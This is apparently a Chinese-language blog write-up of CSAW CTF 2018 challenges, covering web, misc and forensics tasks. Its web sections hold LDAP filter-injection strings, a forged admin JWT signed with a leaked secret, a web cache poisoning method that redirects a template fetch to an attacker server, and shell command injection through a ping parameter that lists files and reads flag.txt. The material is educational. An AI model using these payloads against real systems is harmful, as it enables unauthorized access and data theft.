这次的web做的贼舒服,难度高,学的东西特别多,贼虚服。最近不是懒,是真忙,17号的黑盾,前前后后忙了四天,writeup
后面最近才补全,福州这个去了好多次的城市,感慨颇多啊。
Web
Ldab(ldab注入——还需理解学习)
dab
1 | http://web.chal.csaw.io:8080 |
这题,额,不难啊,之前noxctf做过一题ldab
注入的题目Dictionary of obscure sorrows
,大体类似。
刚开始做的时候,没注意到ldab
,发现sql
注入无果,后面还是看到OU、CN、SN、GivenName、UID,才反应过来。
测试一波,发现Flag就是查不到,猜测后台过滤语句为:
"(&(GivenName=" + $_GET['search'] + ")(GivenName!=Flag))"
因此构造语句$_GET['search']
="Flag))(|(GivenName=*"
,使得"(&(GivenName=Flag))(|(GivenName=*")(GivenName!=Flag))"
为永真条件即可。
不过,后面发现构造*)(uid=*))(|(uid=*
也是可以的。
sso(篡改Token——还需理解学习)
Don't you love undocumented APIs
Be the admin you were always meant to be
http://web.chal.csaw.io:9000
Update chal description at: 4:38 to include solve details
Aesthetic update for chal at Sun 7:25 AM
打开网页,查看源代码
尝试访问http://web.chal.csaw.io:9000/protected
,回显Missing header: Authorization
尝试访问/oauth2/token
,回显Not Found
,尝试提交空post数据,弹出incorrect grant_type
尝试访问oauth2/authorize
,回显是Not Found
,尝试提交空post数据,弹出response_type not code
也就是说两个提示post
请求方式的url
还是缺少其他参数才能得到我们想要的回显,但是我不知道要提交啥头啊。后面做了其他题回头再看,看到Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!
,搜索了下OAUTH2.0
,果然找到了一些相关的rfc
文档—— RFC-6750和 RFC-6749 (或者这个)
其中rfc6749
有这么一个说明,好像懂了啥
后面构造oauth2/authorize
的post
数据response_type=code&redirect_uri=http://web.chal.csaw.io:9000/protected
,发现有个302
的跳转
也就是这些内容
Redirecting to <a href="http://web.chal.csaw.io:9000/protected?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vd2ViLmNoYWwuY3Nhdy5pbzo5MDAwL3Byb3RlY3RlZCIsImlhdCI6MTUzNzI3OTM0NSwiZXhwIjoxNTM3Mjc5OTQ1fQ.UCPeORGG0TCTiwLQznOOwwE3LTJEejZxqHKcZSYJN5s&state=">http://web.chal.csaw.io:9000/protected?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vd2ViLmNoYWwuY3Nhdy5pbzo5MDAwL3Byb3RlY3RlZCIsImlhdCI6MTUzNzI3OTM0NSwiZXhwIjoxNTM3Mjc5OTQ1fQ.UCPeORGG0TCTiwLQznOOwwE3LTJEejZxqHKcZSYJN5s&state=</a>.
打开http://web.chal.csaw.io:9000/protected?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vd2ViLmNoYWwuY3Nhdy5pbzo5MDAwL3Byb3RlY3RlZCIsImlhdCI6MTUzNzI3OTM0NSwiZXhwIjoxNTM3Mjc5OTQ1fQ.UCPeORGG0TCTiwLQznOOwwE3LTJEejZxqHKcZSYJN5s&state=
看看,发现回显还是Missing header: Authorization
那很好,估计现在是/oauth2/token
的问题了,其实思路很明确了,JWT伪造。
刚刚尝试访问/oauth2/token
,回显Not Found
,尝试提交空post数据,弹出incorrect grant_type
,那么我们查查grant_type
改改成啥玩意呢,在rfc6749
中有以下内容
所以我们设置成grant_type=authorization_code
,接着尝试构造post
请求数据grant_type=authorization_code&redirect_uri=http://web.chal.csaw.io:9000/protected
,提交发现
回显是Missing parameters
检查了下,发现少了个code
,就是上上图的grant_type
下面的code
,我们先设置code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vd2ViLmNoYWwuY3Nhdy5pbzo5MDAwL3Byb3RlY3RlZCIsImlhdCI6MTUzNzI3OTM0NSwiZXhwIjoxNTM3Mjc5OTQ1fQ.UCPeORGG0TCTiwLQznOOwwE3LTJEejZxqHKcZSYJN5s
,这个code
其实就是上面oauth2/authorize
的post
请求得到的302
的code
。
最终构造的post
数据为:
grant_type=authorization_code&code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vd2ViLmNoYWwuY3Nhdy5pbzo5MDAwL3Byb3RlY3RlZCIsImlhdCI6MTUzNzI3OTM0NSwiZXhwIjoxNTM3Mjc5OTQ1fQ.UCPeORGG0TCTiwLQznOOwwE3LTJEejZxqHKcZSYJN5s&redirect_uri=http://web.chal.csaw.io:9000/protected
,提交
得到以下数据
token_type | “Bearer” |
---|---|
token | “eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzI3OTY4MSwiZXhwIjoxNTM3MjgwMjgxfQ.oKFQF_SrfU3DGfVlC43OuwVp6-ukTDTJVRqcc9BiRNM” |
很好,这下,我们可以看到回显了个用户Bearer
的token,用下https://jwt.io/
看下伪造新的token
,我这里将"type":"user"
改成了"type":"admin"
,使用ufoundme
为秘钥填充。
按照上面的jwt
构造的结果,将构造的jwt
设置为http://web.chal.csaw.io:9000/protected
的Authorization
头,构造如下:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWRtaW4iLCJzZWNyZXQiOiJ1Zm91bmRtZSEiLCJpYXQiOjE1MzcyNzk2ODEsImV4cCI6MTUzNzI4MDI4MX0.tLN-8JMx_mbQ4cRK6l-1C5VBLPC66mYjJKJoUcDlDkA
得到flag
,
最终答案:flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}
后面还看了看其他大佬的做法,发现差不多,但是大佬们思路整理的很好,这是其中一个大佬整理的思路
Hacker Movie Club(Web 缓存中毒——还需理解学习)
Hacker movies are very popular, so we needed a site that we can scale. You better get started though, there are a lot of movies to watch.
Author: itszn (ret2 systems)
http://app.hm.vulnerable.services/
打开网页是这样子的
一脸蒙蔽,看下源代码
1 | <html> |
其中/cdn.js
内容为下
1 | for (let t of document.head.children) { |
https://www.google.com/recaptcha/api.js?onload=loaded_recapcha&render=explicit
内容为下
1 | /* PLEASE DO NOT COPY AND PASTE THIS CODE. */ |
除此之外,还发现了个Report an issue
的功能
除此之外,还有这两个js
,以下为add.js
的内容
1 | <script data-src="app.js" data-cdn="6564ab9906a6472e43d8ad5fa6449ead2b591b7d.hm.vulnerable.services"></script> |
内容为
1 | var token = null; |
其中还有6564ab9906a6472e43d8ad5fa6449ead2b591b7d.hm.vulnerable.services/cdn/main.mst
,下载看看,内容为下
1 | <div class="header"> |
上诉这些,其实都可以通过开发者工具一览究竟
在其中的/api/report
发现了一些有趣的东西
回显如下
1 | {"admin":false,"movies":[{"admin_only":false,"length":"1 Hour, 54 Minutes","name":"WarGames","year":1983},{"admin_only":false,"length":"0 Hours, 31 Minutes","name":"Kung Fury","year":2015},{"admin_only":false,"length":"2 Hours, 6 Minutes","name":"Sneakers","year":1992},{"admin_only":false,"length":"1 Hour, 39 Minutes","name":"Swordfish","year":2001},{"admin_only":false,"length":"2 Hours, 6 Minutes","name":"The Karate Kid","year":1984},{"admin_only":false,"length":"1 Hour, 23 Minutes","name":"Ghost in the Shell","year":1995},{"admin_only":false,"length":"5 Hours, 16 Minutes","name":"Serial Experiments Lain","year":1998},{"admin_only":false,"length":"2 Hours, 16 Minutes","name":"The Matrix","year":1999},{"admin_only":false,"length":"1 Hour, 57 Minutes","name":"Blade Runner","year":1982},{"admin_only":false,"length":"2 Hours, 43 Minutes","name":"Blade Runner 2049","year":2017}, |
可以看到最后一句{"admin_only":true,"length":"22 Hours, 17 Minutes","name":"[REDACTED]","year":2018}]}
与之前的不同,猜测着里如果将true
改成flase
,那么[REDACTED]
将是可见的,但是好像没用啊。做题的时候,也就只做到这里,后面看了大佬们的writeup
才理解过来。
仔细查看每个响应头都有:Via: 1.1 varnish-v4
额,,下面直接引用大佬的writeup。
了解了下varnish
,发现它是一个反向代理
中的缓存服务
程序。
如果来自Apache的响应是可缓存的,Varnish会将其存储以便更快地响应未来的请求。
varnish详细的请求头可以在这里找到。
所以这里我们需要用到一种叫Web Cache Poisoning
(web缓存污染
)的利用方法,这个跟Cache Poisoning
(又称DNS污染)是不一样的东西。
参考链接:
这里我们可以重点关注DOM Poisoning
(DOM污染)。
另一个需要先了解的事情是X-Forwarded-Host
的作用,详情可参考:这里。
X-Forwarded-Host (XFH) 是一个事实上的标准首部,用来确定客户端发起的请求中使用 Host 指定的初始域名。 反向代理(如负载均衡服务器、CDN等)的域名或端口号可能会与处理请求的源头服务器有所不同,在这种情况下,X-Forwarded-Host 可以用来确定哪一个域名是最初被用来访问的。
语法:
1 | X-Forwarded-Host: <host> |
上面这些归结起来就是当服务器进行缓存时它会将客户端的请求转发到XFH指定的host上去。
现在再回过头看看我们已有的资料。我们得知main.mst
是模板文件,它会利用等对admin身份进行判断,如果我们能够劫持掉这个模板文件,使她绕过admin就可以获得到完整的项。
我们先来找到main.mst
缓存的最大时间(max-age
),我们可以带着X-Forwarded-Host
不停的请求/cdn/app.js
,如果fetch('//4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services/cdn/main.mst')
能被我们控制到fetch('my_server/cdn/main.mst')
上就成功的完成了劫持。
我们可以使用下面的脚本验证一下:
1 | # -*- coding: utf-8 -*- |
得到的内容
1 | var token = null; |
em~
然后通过web缓存污染
劫持了模板文件。接着我们再构造好模板文件,然后让admin
去访问就可以拿到flag
了。
1 | <div class="header"> |
它要求服务器回应的头信息要包含Access-Control-Allow-Origin
字段,如果你不想配置Apache或者Nginx,那你可以使用下面这个建议的python web server。
1 |
|
开启后就能在日志输出中得到flag{I_h0pe_you_w4tch3d_a11_th3_m0v1es}
No Vulnerable Services(CSP绕过,ping读文件——还需理解学习)
No Vulnerable Services is a company founded on the idea that all websites should be secure. We use the latest web security standards, and provide complementary pentests of all customer sites with our exclusive NoPwn® guarantee.
Be #unhackable.™
http://no.vulnerable.services/
此题没做出来,稍显复杂,先扔个writeup,然后复现一遍
首先用这个CSP检测工具检验CSP,检验结果如下图:
发现script-src
可能存在问题,但题目环境中我们并没有能够控制src
的地方,所以再回头看看还有什么发现。
页面的最底下发现了一个奇怪的域名
我们ping
一下no.vulnerable.services
发现解析地址是:216.165.2.40
,16进制表示就是0xd8a50228
。
由于CSP中存在script-src *.no.vulnerable.services
,通过代理,我们可以绕过这一层。但是如何挂上代理呢?这里还有有一个点就是我们能提交网站内容供他们检查,他们会使用bot
去模拟访问。
提交之后,得到了cookie=PHPSESSID=9evknkhr4lfb2oii4h2k71ulac
但是这里我尝试使用这里的cookie访问http://admin.no.vulnerable.services
,都是需要账号和密码的,完全复现不出以下页面
1 | <html> |
以下是我尝试的两个页面截图,第二个页面还是重定向到了login.php
去了
下面这句话我没搞懂,是我太菜了?还请大佬们教教我
额,假设我复现出以上页面,使用这个cookie
的成功访问http://admin.no.vulnerable.services
,我们将看到admin.no.vulnerable.services/lb.php
与support.no.vulnerable.services
。
查看其中lb.php
,其实是一个负载均衡的监视器:
在lb.php
,我们可以找到216.165.2.41
,但无法访问。
如果我们将Host
更改为support.no.vulnerable.services
,则会返回Hacking detected! Denied attempt to proxy to a NVS internal hostname. Your IP has been logged.
。
这是因为216.165.2.41
是代理,所以我们可以按照上面的格式将Host
改为{hexip}.ip.no.vulnerable.service
。但怎么知道ip
呢?我们ping
下support.no.vulnerable.services
,知道它的ip
是172.16.2.5
,而172.16.2.5
的16
进制值为ac100205
,所以我们可以使用ac100205.ip.no.vulnerable.services
它来访问它。(这个网站将ip
值转化为16
进制值)
构造完,我们访问下,得到如下页面,可以看到有个ping.php
这个页面是可以进行ping
,看来它是一个ping
命令行注入。
尝试下(注意Host
头部均要改成Host: ac100205.ip.no.vulnerable.services
)
尝试ls
一下
1 | GET /ping.php?dest=127.0.0.`ls` |
读取flag.txt
1 | GET /ping.php?dest=127.0.0.1`cat%20flag.txt` |
得到flag{7672f158167cab32aebc161abe0fbfcaee2868c1}
后面尝试读取其他文件,比如ping.php
以下是此源码
1 |
|
又如/etc/passwd
…….其他自行摸索篇
WTF.SQL(没搞懂考的啥——此题未解决)
1 | C S A W |
Enjoy :>
Edit: (09/15 11:06 AM EST) Fixed a bug in stage 2
http://web.chal.csaw.io:3306
此题先放出writeup
Misc
Twitch Plays Test Flag(签到题)
1 | flag{typ3_y3s_to_c0nt1nue} |
bin_t
Binary trees let you do some interesting things. Can you balance a tree?
1 | nc misc.chal.csaw.io 9001 |
Equal nodes should be inserted to the right of the parent node. You should balance the tree as you add nodes.
nc
下给出一组数字,将这组数字转换成平衡二叉树
,并且给出该ACL树的前序遍历。
Add these numbers to a AVL Binary Tree, then send them back in the preorder traversal!
99,5,76,16,73,65,45,48,52,81,99,38,16,83,91,20,40,35,41,94,26,40,53,89,93,43,27,49,3,87,98,48,38,64,78,44,81,22,28,35,29,51,63,87,55,99,78,34,47,0,98,54,88,55,81,66,60,40,23,78,70,74,83,98,38,24,29,4,64,65,49,46,46,10,22,98,35,55,73,16,83,86,21,99,78,56,31,6,77,83,81,69,63,77,26,31,20,81,76,8
Send the preorder traversal in a comma sperated list.
对于我这种菜鸡而言,还是有点难度的,直接github
找了下,调用pyavltree
1 | from pwn import * |
得到flag
不过这样的做法是学不到东西的,还是得回头学。
Short Circuit
Start from the monkey’s paw and work your way down the high voltage line, for every wire that is branches off has an element that is either on or off. Ignore the first bit. Standard flag format.
- Elyk
Hint: There are 112 Things You Need to Worry About
这题是我见过最恐怖的misc题,正确做法如下
上面那个看不懂,再看下面的
然后拼接
01100110 01101100 01100001 01100111 01111011 01101111 01110111 01101101 01111001
01101000 01100001 01101110 01100100 01111101
转换得到flag
此题有非常详细的writeup,可以仔细学习到很多东西
Algebra
Are you a real math wiz?
1 | nc misc.chal.csaw.io 9002 |
这题不难,自己用pwntools
写出来了,不过无意间看了大佬的简易代码,运用复数的姿势,稍微修改了下
1 | #-*-coding:utf-8 |
运行得到flag
最终答案flag{y0u_s0_60od_aT_tH3_qU1cK_M4tH5}
pwntools
使用的源码如下
1 | from pwn import * |
Take an L
Fill the grid with L’s but avoid the marked spot for the W
1 | nc misc.chal.csaw.io 9000 |
The origin is at (0,0) on the top left
此题,对于菜鸡而言不是现在能解决的,我放弃,放出writeup
Forensics
simple_recovery
Simple Recovery Try to recover the data from these RAID 5 images!
提供两个文件,file
下
img文件,尝试一波挂载,竟然没效果,使用绝招strings *| grep "flag"
,搜索出flag
,一脸郁闷
🐼 Rewind
Sometimes you have to look back and replay what has been done right and wrong
解压之后,使用绝招strings *| grep "flag"
,就那么几个,尝试下
最终答案:flag{RUN_R3C0RD_ANA1YZ3_R3P3AT}
whyOS
Have fun digging through that one. No device needed.
Note: the flag is not in flag{} format
HINT: the flag is literally a hex string. Put the hex string in the flag submission box
Update (09/15 11:45 AM EST) - Point of the challenge has been raised to 300 Update Sun 9:09 AM: its a hex string guys
com.yourcompany.whyos_4.2.0-28debug_iphoneos-arm.deb
给了两个文件
强行命令strings * | grep 'Preferences' | grep -E '[0-9a-fA-F]{32,}'
搜索
最终答案ca3412b55940568c5b10a616fa7b855e
mcgriddle
All CTF players are squares
Edit (09/14 8:22 PM) - Uploaded new pcap file
Edit (09/15 12:10 AM) - Uploaded new pcap file
这题流量分析后面单独开篇讲解,贼有意思的一道题目。